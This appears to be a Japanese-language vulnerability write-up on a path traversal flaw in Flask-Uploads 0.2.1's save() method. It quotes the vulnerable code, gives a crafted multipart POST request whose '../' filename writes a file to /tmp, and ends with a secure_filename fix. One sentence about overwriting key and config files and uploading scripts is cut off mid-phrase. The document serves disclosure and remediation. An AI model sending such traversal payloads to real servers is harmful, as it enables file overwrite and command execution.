
Flask-Uploads 0.2.1 における CWE-22 パストラバーサルのデモンストレーション。教育およびセキュリティ研究目的でのみ使用してください。Python 3.11 でテスト済み。
Flask-Uploads バージョン 0.2.1 には、重大なパストラバーサル脆弱性が存在します。このライブラリは、アップロードされたファイルをファイルシステムに保存する前に、ファイル名を適切にサニタイズできません。
具体的には、flask_uploads.py の save() メソッドは、アップロード先のパスとユーザー指定のファイル名を os.path.join() を使用して直接連結します。これにより、攻撃者はファイル名にディレクトリトラバーサルシーケンス (例: ../../) を含めることができ、サーバーのファイルシステム上の任意の場所にファイルを書き込むことが可能になります。
ファイル: flask_uploads.py (v0.2.1 の 132 行目)
def save(self, storage, filename=None):
if filename is None:
filename = storage.filename
# VULNERABLE CODE: No sanitization of 'filename'
target = os.path.join(self.destination, filename)
storage.save(target)
return filename
アプリケーションはファイル名のサニタイズを開発者に依存していますが、ライブラリのドキュメントは安全にファイルアップロードを処理することを示唆しています。デフォルトでは、開発者がリクエストから生のファイル名を渡すと、脆弱性につながります。
ssh_host_key、設定ファイル) を上書きできます。cgi-bin や既知の静的フォルダー) に悪意のあるスクリプト (例: .php、.py) をアップロードすることで、攻撃者はサーバー上で任意のコマンドを実行できます。攻撃者は、細工されたファイル名を含む POST リクエストを送信することで、この脆弱性を悪用できます:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain
HACKED
------WebKitFormBoundary--
サーバーがこのファイルを保存するために Flask-Uploads を使用している場合、意図されたアップロードディレクトリの代わりに /tmp/pwned.txt に書き込まれます。
ライブラリは結合されたパスが意図されたディレクトリ内にあることを os.path.abspath と startswith を使用して検証するか、常に werkzeug.utils.secure_filename のようなサニタイズ関数を使用する必要があります。
推奨される修正:
from werkzeug.utils import secure_filename
# ...
filename = secure_filename(filename)
target = os.path.join(self.destination, filename)